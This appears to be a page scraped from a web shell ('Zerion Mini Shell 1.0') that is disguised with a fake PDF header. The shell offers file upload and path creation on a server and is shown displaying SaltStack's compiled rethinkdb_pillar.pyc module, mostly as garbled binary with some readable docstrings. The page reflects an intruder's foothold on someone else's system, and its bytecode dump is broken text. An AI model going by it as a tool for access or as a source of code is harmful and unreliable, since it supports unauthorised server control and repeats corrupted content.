%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/pillar/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/pillar/rethinkdb_pillar.pyc

�
���^c@@s�dZddlmZmZmZddlZyddlZeZWne	k
r]e
ZnXdZidd6dd6dd	6dd
6dd6Z
d�Zeje�Zd
dddd�ZdS(u�
Provide external pillar data from RethinkDB

.. versionadded:: 2018.3.0

:depends: rethinkdb (on the salt-master)


salt master rethinkdb configuration
===================================
These variables must be configured in your master configuration file.
    * ``rethinkdb.host`` - The RethinkDB server. Defaults to ``'salt'``
    * ``rethinkdb.port`` - The port the RethinkDB server listens on.
      Defaults to ``'28015'``
    * ``rethinkdb.database`` - The database to connect to.
      Defaults to ``'salt'``
    * ``rethinkdb.username`` - The username for connecting to RethinkDB.
      Defaults to ``''``
    * ``rethinkdb.password`` - The password for connecting to RethinkDB.
      Defaults to ``''``


salt-master ext_pillar configuration
====================================

The ext_pillar function arguments are given in single line dictionary notation.

.. code-block:: yaml

  ext_pillar:
    - rethinkdb: {table: ext_pillar, id_field: minion_id, field: pillar_root, pillar_key: external_pillar}

In the example above the following happens.
    * The salt-master will look for external pillars in the 'ext_pillar' table
      on the RethinkDB host
    * The minion id will be matched against the 'minion_id' field
    * Pillars will be retrieved from the nested field 'pillar_root'
    * Found pillars will be merged inside a key called 'external_pillar'


Module Documentation
====================
i(tabsolute_importtprint_functiontunicode_literalsNu	rethinkdbusalturethinkdb.hostu28015urethinkdb.porturethinkdb.databaseurethinkdb.usernameurethinkdb.passwordcC@sts
tStS(N(t
HAS_RETHINKDBtFalsetTrue(((s@/usr/lib/python2.7/site-packages/salt/pillar/rethinkdb_pillar.pyt__virtual__DsupillarcC@s�td}td}td}td}	td}
tjd|||	�tjd|d|d	|d
|	d|
�}d}z�|r�tjd|||�|r�tj|�ji||6�j|�j	|�}qctj|�ji||6�j	|�}ngtjd
||�|rBtj|�j
|�j|�j	|�}n!tj|�j
|�j	|�}Wd|j�r�|j�nX|j
r�t|j
�dkr�tjd|�iS|j
j�}
|r�i|
|6S|
Stjd�iSdS(ut
    Collect minion external pillars from a RethinkDB database

    Arguments:
    * `table`: The RethinkDB table containing external pillar information.
      Defaults to ``'pillar'``
    * `id_field`: Field in document containing the minion id.
      If blank then we assume the table index matches minion ids
    * `field`: Specific field in the document used for pillar data, if blank
      then the entire document will be used
    * `pillar_key`: The salt-master will nest found external pillars under
      this key before merging into the minion pillars. If blank, external
      pillars will be merged at top level
    urethinkdb.hosturethinkdb.porturethinkdb.databaseurethinkdb.usernameurethinkdb.passwordu9Connecting to %s:%s as user '%s' for RethinkDB ext_pillarthosttporttdbtusertpassworduIext_pillar.rethinkdb: looking up pillar. table: %s, field: %s, minion: %suIext_pillar.rethinkdb: looking up pillar. table: %s, field: id, minion: %sNiu=ext_pillar.rethinkdb: ambiguous documents found for minion %su'ext_pillar.rethinkdb: no document found(t__opts__tlogtdebugt	rethinkdbtconnecttNonettabletfiltertplucktruntgettis_opentclosetitemstlenterrortpop(t	minion_idtpillarRtid_fieldtfieldt
pillar_keyRRtdatabasetusernameRtconntdatatresult((s@/usr/lib/python2.7/site-packages/salt/pillar/rethinkdb_pillar.pyt
ext_pillarNsR




	
		
%	
!%		
(t__doc__t
__future__RRRtloggingRRRtImportErrorRt__virtualname__RRRt	getLoggert__name__R
R'(((s@/usr/lib/python2.7/site-packages/salt/pillar/rethinkdb_pillar.pyt<module>,s(



	

Zerion Mini Shell 1.0